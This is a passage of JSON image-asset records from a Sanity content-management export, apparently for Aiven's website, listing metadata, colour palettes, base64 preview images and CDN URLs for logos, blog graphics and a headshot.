A8/QA3Ju7i6O8/YcPpT6G9Bvh85SVgxclt+P5OEoNT9zAw8SdGZsYxMvMINyfu4vbkfXw3eB6lpzqWTzi3uHJRb8Aons58lKJkUO24eABHhk6iZ7QP58auoXfsV5wZvYbDwxfw4aVOeLsiSqeWF4/C7VN53NGzFJuh5bFZlaxRVaebsOvyIUT7OhHp+xa7fv4Gm84ehK+r5f+x4cXYvDLYMt0UmNUrTG7FmmNhFB3fCX9XIxy8Q9moERlNwcvBlq+unoeqlYuC6eotdTmf6s0uI91lfl31ZFoOb/hlaetyObgW5eCkkCqgba+Tw5DGsajGbbkWbssSrq5a4X+hr9hyfTmf66sODsrQF6X1dV3n/VGNo29qHM92HA0/E+wqWr0k2FyvrKjNEOyUKdiCVwmWmgwrtWzRaV+uRpFsa7JD6BwRwm+eALle+Gi98NC75gnIWTwBUZcM9iyegNlnJ6BhNJ/CZ+zUuN9Guwus1Jyj854sG0eFnogKC7eK/wAs5pA+DBy62QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4c34","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#147c44","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#38ae78","foreground":"#fff","population":10.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#81b195","foreground":"#000","population":1.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98e8c1","foreground":"#000","population":0.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60a278","foreground":"#fff","population":2.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#38ae78","foreground":"#fff","population":10.82,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-influx-db.svg","path":"images/sczeoy4w/production/eee325570196ed0e66e3b2d2e7916aa56c51a7e6-64x64.svg","sha1hash":"eee325570196ed0e66e3b2d2e7916aa56c51a7e6","size":677,"title":"Aiven for InfluxDB® logo","uploadId":"pLDcsYnEceMG9exxhT25gR3Lj1WgmDpI","url":"https://cdn.sanity.io/images/sczeoy4w/production/eee325570196ed0e66e3b2d2e7916aa56c51a7e6-64x64.svg"} {"_createdAt":"2022-06-15T20:02:37Z","_id":"image-ef095a5aafabccae547e5cfb70e22dfa98a507c5-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdvBb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:10Z","assetId":"ef095a5aafabccae547e5cfb70e22dfa98a507c5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7eJJ-;MxoJRj?wxuM{kCWARjRPWCt7of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACtUlEQVQokT2TaW8bVRSGJ4vHjtdYXlooIqod27N4G8d14haFllJsSIA0M/Uy4xkvaevUpRFCfGgbVNdOMI0ihPjFD2RS+PDo6lwdved9de4V/MXnrFcnhCsvCGnHRLYmhKsvCWz9RLD6inDthFD1FSFtTLR8RLx8RFIbESsOCKl9RKnPkjRiOTdkNdNDuLUzYWv/NfWDU3YOTrmrv6NuvOeOPqOqz9lpn1Mz5m59r33ucrd1xrYxI9d4TagyQZCfIchPXWFhoz7mS/2UPXtGw3xPszenYZ/T7C9oOAsa/T/4bnjBD+O/2D/+m6+Gf/Kgf8n9/iX5798R2nrpiv3PxvYz7utv2bPnPOpM+dY+Y3+wYG94JfSBh/aCB/YHvh5c8oV1QfnxjJoxo6ZP2dj9GZ8yYiXrsJq1ryN/vjNmVz+l2TvjoXXmOvrGWdAcXtAcXVJv/87tR2+4ufsriXu/EN0+IVk/4UZtQjg/RMxYeNJdvKkWvtsGQvLOC8p7b9g+nFI5mKIdTCns/0bpxyna4Zx04y2ByoQl+YhlecSqPEJUBvhkm7WcyVq2QyDTIpjWCaYPEbzKiHD5Oeva2D2D5TH+8rEr4m5bO0ZUR4iSg1eyCSg91vNd4vkWccUgpjwhJhtEczrrWQPBs2m6lsVUG0+qzUraZDlj45H7+AsOoaJNpGgTLVpEiz1ipR43Sm1uFXQ+VQ/5JG+QUFtEpA4hqYMQ2WyRlDokVZNIrosv3cab7rCW7RKUTSIFk1jJJF42iWs9YppDvGSRLHZJFDok8l1ieZOwYhFUbIRExmAjb/JZZUBUtfFtthFTLcR0B0/GQpT7+NQBftUhoF5HDsjWR3r4P7ImO3iVIYI/0yUkWQRlB590vf4VF4fl3ABBOnIf7pJ0/RPEqwSplst/Q6/ur/qX/u39B+XHerKp5vCEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292f58","foreground":"#fff","population":0.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":27.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":27.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bad8","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9aaae8","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45c7c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d055","foreground":"#000","population":0.01,"title":"#000"}}},"mimeType":"image/png","originalFilename":"ef095a5aafabccae547e5cfb70e22dfa98a507c5-1567x844.png","path":"images/sczeoy4w/production/ef095a5aafabccae547e5cfb70e22dfa98a507c5-1567x844.png","sha1hash":"ef095a5aafabccae547e5cfb70e22dfa98a507c5","size":89406,"uploadId":"VrUCjUvZrYbbrJdgIz9hRIZwXP9eCGfR","url":"https://cdn.sanity.io/images/sczeoy4w/production/ef095a5aafabccae547e5cfb70e22dfa98a507c5-1567x844.png"} {"_createdAt":"2022-08-29T14:11:27Z","_id":"image-ef0d1fb6c7ca60bea6b02683ef142d19174edc44-43x33-svg","_rev":"KtmMmNTIro7hjsGNsfmDDs","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:11:27Z","assetId":"ef0d1fb6c7ca60bea6b02683ef142d19174edc44","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VLNdO8xu00j[D%00Rj00WBIU~qfQ?bj[xuD%j[D%of_3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.303030303030303,"height":33,"width":43},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6klEQVQ4jY3Uz4uXVRQG8HcsRSkVFZ1GBRVT8Qc1pYuIcbaCCKZCw4y/0NFCdGoTiLkwg5A2QYkLl4orNyK6dKWYIqgILf0rav985Mgd+fptRvzC+d77nnPP857zPOe+Xdd1HfptAUaTXMXLJP/hX/yD3/FFkrn9eW9+fYEPsR1/JXmOR7iF20me4DF+wUYMJOnK3gU4iLN4hruYxFdJvk5yBvfwIMkRLHyfCj/HdTzESSxt/gGsTHIOT/EH1swI2FN2tbAFlXQe2/AB5rSk4m0/7uMGtk6DVf5sFS5GgW7C6hIAw0kWNbEmkvyNa9g8a4V9gDvwJUZwCb8lKd8w/kSJ9WtR4F2AbV2Ob3AKP+BysxLqSuPvDnZj/nTem5Z7OWj7ea3l07iIb3EUN/GiKX+sTUP3v1mcydneXC3uwtqmfFV4oVU22CNU95YwWIKPW2VzmtK1/6hZ7Zc1AUqoRX2cd70d1t/eJDtbFWuTrOlReRXW1c1pZ0ZabAgr8EmSwSS1lm+oAKuV75KcaFyVTe/H23BPNV89jyfZhwPtzGEcwljxXYA/4mAL/oSfk3xf89ZASunJJAWwBwX2WqgkU0kqvwSsqzhRgKOtjboVY0mO193FhkZDDXZ9CD5ta9FSscr5rMXrXMXWvwLpypGPzHGLLAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4b4","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-digital-ocean-white.svg","path":"images/sczeoy4w/production/ef0d1fb6c7ca60bea6b02683ef142d19174edc44-43x33.svg","sha1hash":"ef0d1fb6c7ca60bea6b02683ef142d19174edc44","size":4738,"uploadId":"F3VxOo08wCtkZ0kAiEItZmQmJxA1nt6p","url":"https://cdn.sanity.io/images/sczeoy4w/production/ef0d1fb6c7ca60bea6b02683ef142d19174edc44-43x33.svg"} {"_createdAt":"2024-08-05T17:12:16Z","_id":"image-efb0173102c05a1bfc9d614bfc5a639bd0682a91-1200x630-png","_rev":"9UINTEl5Nh5uQ7g7zvFDz1","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T17:12:22Z","altText":null,"assetId":"efb0173102c05a1bfc9d614bfc5a639bd0682a91","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBCY-B0vm+gl+W%GTN]x15t8R6RNOuwc${","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADCklEQVQokS3SW0+TBwDG8X6BxUFpOZUKVDcVsXWptCDVSktb2reH9+2BUkq19MShLVjjxHYIFGRaGXgCZzKWJTNeIIlMJ2zLkt2wLUt2QbJ4syxbdrHbfYX/Yt0X+OX/JI/sHYWfQ/UBahpD1DZHqFPFUKhHUR5OU986SUP7FI2aAk1HPkT1XonWjiWOnXnMKdNzjJbnJKUKT7KX+K0s8O9aH7LaphDtx0fRGbJ80DON1nAZnfEqOuM1Os9cR2ucRde9gLZ7Eb3pFibbQ8zClxhtX2Gw7BD1rrGRzrBfkvjrlgOZUj2E/uwUbv8C3uASDm+ZAd8ynuAd7N4Kds8KQuAeTuk+rsAGgegXBC9uY/O/4qz9BR7HOjci0zzNxnhRiLwBI1XQ6ZtDkMoMeBdxicsEh9cQw3dxSatIkXX8w5/iCz9GHPqcYGyLUHwPIfQ1zv4H5Aby3PQnuOrLvy08bcxhdZboF27QL8zj8N7E7a/gDnyCU1zFO/gAMbyBOPQG3GQ48YzM9PdkJvfISx9TsQaoWERy51LIFC1hOvUTmG0zmO1FTNYSZvscFtcSds/t6uR+zyp23z0c4jquwGdczOwwNbNPsfgDj5Lz7Ao9PLMYuHPejezdhiCNbVHaTyTQdKRpPzHG0c4cx3QFOvQznNQX0XaV6O6dpffcPCbLGr6hbRK5ffKFH1m6dJ+ngocnNisLF0aQVW+j9FPT8PY2tc0x5Ko4CnUa5eEJVJocXacnGLamGBNSRN2zBMNbxMZ+JpH9lWjkJXHHXUatt/FceISsRimhavLT2hZBfTROfWuc2uY4clWSupZxWjRZ3L1JVkYG2c6JbOazXJncInP5gPErrxFH9umx7dLVt4u+bw+ZXCmiaZE4/v4IRzrSNGkS1cI6VYo69UQV9JiSbKb8HMw5+GkxyUpxm0Lpdwof/Uko/gsG27fozN+gM79CdkghIa/3o2weRKGOIlfF/i9MoVCP09CWw6Qf42E8wB/LVl6vxFkv73C9/DfXyv8QSR9gtH+H9vxLTpl2+A8HqMMM9DzQigAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4577","foreground":"#fff","population":1.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060470","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3e4577","foreground":"#fff","population":1.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8995c5","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8943c","foreground":"#000","population":1.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5ca5","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24b10","foreground":"#fff","population":1.11,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Optimize Your AWS Costs With Bring Your Own Cloud From Aiven","path":"images/sczeoy4w/production/efb0173102c05a1bfc9d614bfc5a639bd0682a91-1200x630.png","sha1hash":"efb0173102c05a1bfc9d614bfc5a639bd0682a91","size":252805,"title":null,"uploadId":"DZf4e5EkIPYAZUTDmBlJZST7adW2vb44","url":"https://cdn.sanity.io/images/sczeoy4w/production/efb0173102c05a1bfc9d614bfc5a639bd0682a91-1200x630.png"} {"_createdAt":"2022-11-22T11:40:12Z","_id":"image-f00bbb91d4a7637f72e62bc512bc6e6eb2d6376f-1600x634-png","_rev":"bUMlF7B1Xxw34pzcKwyQTG","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T11:40:12Z","assetId":"f00bbb91d4a7637f72e62bc512bc6e6eb2d6376f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5236593059936907,"height":634,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABUUlEQVQYlS2PyW7kMAxE/f+fN4cBkpl02hIpURS1WbLltRE4aOChDg9VhxpCuTgdLrzx+QzTJfnwcfNxI78CNWWbMk1TJ9k5nhxPn884vQYOB9KsbQPbtG3Wd592kSYUhESseArMk+UZqQOtYFeg1fpd8jWQ7ArbCPWp61NPQIsLm6PigJy2TpNH9pSYK9p5hPmp70RaOZ6DCwfQqk1Xpitc0G0u7NbNABkgASQ0xbnqObONhNFiIIzsqk/He6xMH/HG8MbxMNwVTCPWESZtKvEifhLjPJAHK8YJZ0n74NMBbvnW7Uu1EZu5Px8kXWN5qOmhqzLVSfdxJSpax+coWgdyRfI+5HpKWi3PQAtJD3lP9UzT7sOMbkFeOPRY9njXNqT2+fCfX1aBcFiHaX6V+crtTPXM7SrtVW7zKu3Mv5R2vc18Se7/vu2fv4+P/4hUfwAqObxUZ+bjCwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2440","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#815302","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aab0ce","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aab0ce","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7eea1","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7194","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b47404","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-simply-explained-replications.png","path":"images/sczeoy4w/production/f00bbb91d4a7637f72e62bc512bc6e6eb2d6376f-1600x634.png","sha1hash":"f00bbb91d4a7637f72e62bc512bc6e6eb2d6376f","size":27130,"uploadId":"Y577Lv4ycggPbaMCb5zNULpK9oFTD1XR","url":"https://cdn.sanity.io/images/sczeoy4w/production/f00bbb91d4a7637f72e62bc512bc6e6eb2d6376f-1600x634.png"} {"_createdAt":"2024-02-27T13:02:33Z","_id":"image-f0147a3e62c8f8245d97b2045c24b912b3868805-1920x1037-jpg","_rev":"w5AXxS2dRCMjAjCd4XQOXy","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T13:02:33Z","assetId":"f0147a3e62c8f8245d97b2045c24b912b3868805","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHF=={D*xIt6t5~AWrn*a}of=zj=WFafn,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABQYA/8QAIBAAAgICAgIDAAAAAAAAAAAAAQIAAwQRBSESExRRgf/EABcBAAMBAAAAAAAAAAAAAAAAAAEDBAb/xAAdEQACAgEFAAAAAAAAAAAAAAABAgARkQMSEzFR/9oADAMBAAIRAxEAPwA67lbFuJVyEJ6C9fkSxuUssO/kOrfcn1RWuGxuI4yL6m6EySOjEXeY3ce7lCubnhV8c6wLrobmkxk5NwdQLCAFE0p4l9OYRqmf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#515026","foreground":"#fff","population":5.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b7a04","foreground":"#fff","population":4.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e9bba9","foreground":"#000","population":5.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b5a2","foreground":"#000","population":1.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9bba9","foreground":"#000","population":5.93,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#958874","foreground":"#fff","population":5.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#819520","foreground":"#fff","population":3.93,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-letter-drone.jpg","path":"images/sczeoy4w/production/f0147a3e62c8f8245d97b2045c24b912b3868805-1920x1037.jpg","sha1hash":"f0147a3e62c8f8245d97b2045c24b912b3868805","size":1447338,"uploadId":"t8aqNGdXRGf9vu6406LTQgkaD7UrrShD","url":"https://cdn.sanity.io/images/sczeoy4w/production/f0147a3e62c8f8245d97b2045c24b912b3868805-1920x1037.jpg"} {"_createdAt":"2024-01-24T01:49:44Z","_id":"image-f04c5bfb23ea34566eaaf149d778df17c01f4461-800x800-jpg","_rev":"VeNKqGNmt13PzvGhqkcJxa","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T01:49:44Z","assetId":"f04c5bfb23ea34566eaaf149d778df17c01f4461","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eoOMQ^9Z~W?Ij@-;xaR%j[Rjxbs:R*R*ayxuj[NGRjs:ofayR*WBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAMHCAUG/8QAJRAAAQMDAwMFAAAAAAAAAAAAAwABBAIGEQUHEhMxQQgUIUKx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwQF/8QAHBEAAQQDAQAAAAAAAAAAAAAAAAEREoEDIiNh/9oADAMBAAIRAxEAPwC1d2LkNbVs9aHW1MsxaRDfy2X+XUG1VzmuGHOFKJ1DRCtQ9fl2dvK8NvMTrXzpseaVvajoYlA3+z5/V2tsCiBeU8EeK8aiSBjVUu+eT57popEWarl8LaRERFRm3f3UZEPcABQ1U848amseWzh1P6f9cn3DfM2VqZuZRxuNPFuLM2e2ERUtpRnv2s0WiIpjQP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273956","foreground":"#fff","population":2.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040b27","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdcec","foreground":"#000","population":57.13,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2bdd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdcec","foreground":"#000","population":57.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748ca4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#244c7c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"LesleyHeadshot.jpeg","path":"images/sczeoy4w/production/f04c5bfb23ea34566eaaf149d778df17c01f4461-800x800.jpg","sha1hash":"f04c5bfb23ea34566eaaf149d778df17c01f4461","size":66646,"uploadId":"Uu3bcCi2GzvT3qSKVkdw8iAM824f21c1","url":"https://cdn.sanity.io/images/sczeoy4w/production/f04c5bfb23ea34566eaaf149d778df17c01f4461-800x800.jpg"} {"_createdAt":"2023-08-25T15:05:26Z","_id":"image-f06358b0cc55ebe39500c870a72c3cf8d084c40b-1200x630-jpg","_rev":"n4o7HM4ybKf4O57IbTXyqu","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T15:05:26Z","assetId":"f06358b0cc55ebe39500c870a72c3cf8d084c40b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEQ,RSD%NXM_D*?bWBWDRjoI_M%MV|xut6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAgMH/8QAHxAAAgIBBQEBAAAAAAAAAAAAAQIAAxEEBSExURIT/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgEE/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oADAMBAAIRAxEAPwDvmw7nbcuqGoZnZbmVeOgI7p9x/Ymz4dKwSpUrzn2OU6SihXFVSoHb6bA7PsvXWinhZotg7ErYGGRmEzRRg99+whR//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3257","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f154f","foreground":"#fff","population":1.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0f154f","foreground":"#fff","population":1.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aab6c8","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8484","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac9d68","foreground":"#000","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed4696","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_Apache_Kafka_BigQuery_meta_preview.jpg","path":"images/sczeoy4w/production/f06358b0cc55ebe39500c870a72c3cf8d084c40b-1200x630.jpg","sha1hash":"f06358b0cc55ebe39500c870a72c3cf8d084c40b","size":48466,"uploadId":"yoEVXRNL9supPfDl2lzdwCo6vJT5QRiI","url":"https://cdn.sanity.io/images/sczeoy4w/production/f06358b0cc55ebe39500c870a72c3cf8d084c40b-1200x630.jpg"} {"_createdAt":"2022-09-13T11:20:20Z","_id":"image-f0837003de3b3019691fac7f62389951ea7ac860-1000x1000-jpg","_rev":"k8Pq0px2i8BPOfOn9t1sOC","_type":"sanity.imageAsset","_updatedAt":"2022-09-13T11:20:20Z","assetId":"f0837003de3b3019691fac7f62389951ea7ac860","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"egR.+5NF?^%gM}nhjEtSkXRP-Vt6J8R*n$niWYRjkCxttSjFWBX7nh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1000,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAQGAwUI/8QAIxAAAgIBAwUAAwAAAAAAAAAAAQIAAwQFERIGEyExQQcyUf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAIBEBAAIBBAIDAAAAAAAAAAAAAQACEQMTIXEEMkGx8P/aAAwDAQACEQMRAD8A6F61sZcFVLEVeeYH3+byrfiLWLtTv1BEUrjUuUIB3XkD8m96ssyBrWLUtDviuh7h28SP0ZiVaPdnJiYvYx7G5jc/sx9mRPi13XWXnJ9Yx18yqmvfb2g4f2e5eImHGv71Qfjt52iWFh5kyI4YvqWzw28i14tbXlWBKr6BMRBt7RqKVZPVQqgKAAPgiIjwJ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#545555","foreground":"#fff","population":3.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#823d02","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#545555","foreground":"#fff","population":3.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceb8bf","foreground":"#000","population":1.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6d985","foreground":"#000","population":0.82,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c794d","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7605","foreground":"#fff","population":2.59,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"women-wave-hand.jpeg","path":"images/sczeoy4w/production/f0837003de3b3019691fac7f62389951ea7ac860-1000x1000.jpg","sha1hash":"f0837003de3b3019691fac7f62389951ea7ac860","size":93759,"uploadId":"jJQ4YIlOdGWNPruErMe5Fg44kZQkMnoB","url":"https://cdn.sanity.io/images/sczeoy4w/production/f0837003de3b3019691fac7f62389951ea7ac860-1000x1000.jpg"} 